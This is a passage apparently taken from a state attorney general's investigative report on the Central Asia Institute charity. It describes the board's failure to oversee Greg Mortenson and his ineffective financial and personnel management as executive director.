Despite being made aware of ongoing problems relating to accountability for expenditures and other financial issues, the CAI board never adequately addressed those problems. Specifically, the board did not exercise sufficient control and direction over Mortenson. Any efforts to do so were complicated by his dual role as executive director and a voting member of the board.
Section 2.1 of the board’s 2008 policy manual states:
2.1 Structure: The Board shall regularly reevaluate the size of the Board to ensure that it has enough members for full and diverse deliberation, in a scale appropriate to the Institute’s size, with the appropriate level of skill and expertise. The Board should include members with diverse backgrounds, experience, and skills. In considering the Board’s size and composition, independent Board members should comprise at least two-thirds of the Board, meaning that they receive no remuneration from the Institute, and are not closely related to anyone who does.
This policy, like other policies adopted at the time, was not effectively implemented or adhered to.
From their testimony, it is clear that in addition to their admiration for him, the CAI board members believed that CAI’s viability was entirely dependent upon Mortenson. One testified that the organization and board had become too “Greg-centric.” Another testified that Mortenson is so valuable and indispensable that the organization is nothing without him. These kinds of feelings and beliefs interfered with the board members’ abilities to exercise independent oversight and management of CAI.
The small size of the board also contributed to a lack of effective oversight. The structure and size of CAI’s board complies with the corporate law requirements of Delaware (CAI’s state of incorporation) and Montana (CAI’s principal place of business). However, the board, as constituted for the past several years, lacked sufficient independence and size to manage the affairs of a charity with financial resources and programs as large as CAI’s.
2. Management
Mortenson served as CAI’s executive director from 1996 until he took a leave of absence for medical reasons in April 2011. He resigned his position as executive director effective as of November 2011. He currently serves on the CAI staff in a position that does not include financial oversight of the organization.
As the executive director of CAI, Mortenson was ultimately responsible for the management of the charity and overseeing execution of the organization’s internal policies and procedures adopted by the board. In addition, he was the key member of the charity’s program staff, leading the execution of its overseas projects and conducting its domestic education and outreach programs. He was primarily responsible for CAI’s fundraising.
Based on the information obtained in this investigation, it is clear that Mortenson was not an effective manager of CAI. He, by his own admission, is not well-versed or comfortable in financial and personnel management issues. He did not communicate well with staff in the charity’s office in Bozeman. He maintained a prodigious travel schedule. He testified, and there is no reason to doubt, that he worked virtually nonstop. It is doubtful that even a skilled manager could maintain the kind of travel and outreach schedule Mortenson maintained and still effectively manage an organization that has grown to the size of CAI.
Yet, Mortenson consistently insisted on maintaining substantial control over the charity’s affairs. When employees challenged him by attempting to get him to provide documentation to substantiate expenditures, or otherwise to comply with sound management practices, he resisted and/or ignored them. Some of them ended up leaving.
Anne Beyersdorfer currently serves as the interim executive director of CAI. She is a consultant who also has a long-standing personal relationship with Mortenson and his wife. She was brought into CAI following the Parade article to help manage the deluge of mail and contributions. The board determined that under the circumstances that developed in 2011, it was beneficial to have a person whom Mortenson knows and trusts, and who had prior experience with CAI, to serve as interim executive director. This may have been a legitimate approach, and there have been positive changes implemented with Beyersdorfer serving as interim executive director. It is, however, one more example of an organization that is controlled by people with personal affinity for, and loyalty to, Mortenson. As Beyersdorfer and the board recognize, it is essential that a qualified and independent executive director be hired to manage CAI as it moves forward.
VI. THE ATTORNEY GENERAL’S
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